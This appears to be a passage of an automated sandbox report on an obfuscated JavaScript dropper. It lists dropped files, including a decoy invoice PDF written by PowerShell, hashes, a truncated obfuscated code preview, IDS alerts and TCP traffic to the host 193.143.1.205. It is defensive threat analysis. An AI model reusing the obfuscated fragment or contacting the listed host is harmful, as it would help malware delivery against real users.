SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR0g:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRh
MD5:	37C198259C0384B77D3305E1603B1A8F
SHA1:	0742AF10972D853C10AF35F6681B7797CFB9D9D9
SHA-256:	8048BA5EAF1FC593717AE97BC4A79A3873637E74FBD7A1CF2181596ECA26470E
SHA-512:	901EC3BFBF15D9841850F45109FA95916CF347D2015761DC95D7778FDF771C7E98B018088FF87070A6B2C27178E374828C0A583DF398F222F5E320761A4404F0
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0a39242d-4550-4204-98e3-0a7be5274b48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2d2ef3c4-382b-42e4-a22a-1fc13cda9598.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\79af0377-63b9-4d49-8011-a84e48d6f0df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ba1ab9e7-ef85-48b9-bb14-8405d6720f50.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18500), with CRLF line terminators
Entropy (8bit):	4.910083358320729
TrID:
File name:	1272729276326267500.js
File size:	22'073 bytes
MD5:	de77528e009c0d67c38070d6bac6a04b
SHA1:	88f398f245562fd6946a353310a932801208853e
SHA256:	7d26a4d1e39f6fcd2108252b85104e043607be17589c4a159fd76a8e5d42fa45
SHA512:	855c50788ae57a51fb32e71305f9ee9c1842e52383709676cbafed3c9f6e96bc5eb9fee941e15489bacd2f53898b20ffd404cde79febe876cc98d240da171f18
SSDEEP:	192:o9ovux1kO6/SMoTHKI0THKIyFKftmZdGtprrnpijmQovwnhlQTzlwcsOrQiNiJIk:ATx1kOF/J07JpOSt51pr2dBxM2b6tQ
TLSH:	40A2548570A585358AE4E8FC1E94108995A4015E8EAED8FF3A81B34C77CE9FE39D31F1
File Content Preview:	function rnfjjpb(){waihyh=[1031,3079,5127,4103,2055,3072];var fvkof=this[lobkcxlov+gjsbvahyb+bglryvf+meilu+wurugkkoq+sqlkl+duaayc+raclwty](this[xvndhluw+lqnmltvro+qcmympv+bglryvf+neubtzvkz+lobkcxlov+raclwty][nerfy+bglryvf+wurugkkoq+gjsbvahyb+raclwty+wurug

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:18:24.623083+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T20:18:27.082981+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:18:23.783576965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:23.788364887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:23.788455009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:23.791162968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:23.795876026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623003006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623025894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623083115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.623265028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623308897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623328924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623356104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.623485088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623496056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623509884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623522997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623523951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.623538017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.623550892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.623575926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.627924919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.628221035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.628262997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.680649996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.680692911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.680741072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.752296925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752320051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752338886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752365112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.752435923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752465010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752480030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.752788067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752806902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752825975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752832890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.752842903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752861023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.752888918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.752903938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.753595114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.753612995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.753631115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.753654003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.753969908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754014969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754015923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.754040956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754059076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754079103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754084110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.754122019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.754906893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754925013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754944086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754962921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.754966021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.755007982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.813430071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.854254007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.854280949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.854315042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.854347944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.854362011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.854392052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.880789042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.880810022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.880825996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.880844116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.880871058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.880953074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.880966902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881014109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.881071091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881086111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881102085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881118059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881120920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.881134033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881159067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.881722927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881738901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881753922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881768942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881771088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.881786108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881798983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.881799936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881817102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881834030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.881834984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.881854057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.882632971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882647991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882663965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882682085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.882685900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882703066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882709026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.882718086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882733107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882738113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.882752895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.882776976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.883555889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883572102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883589029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883604050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.883615017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883625031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.883631945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883647919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883663893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883670092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.883681059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.883707047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.884596109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884612083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884627104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884641886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884655952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.884658098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884664059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.884673119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884691000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884700060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.884706020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.884737968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.903275967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.903295040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.903356075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.944109917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.944143057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.944188118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.983061075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.983088970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.983107090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.983124018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.983141899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:24.983144045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:24.983187914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.009807110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.009835958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.009855986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.009866953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.009903908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.009959936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.009977102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.009994984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010018110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.010255098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010270119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010286093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010296106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.010324001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.010559082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010574102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010591030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010607004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.010611057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.010651112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.011053085 CET	80	49699	193.143.1.205	192.168.2.7
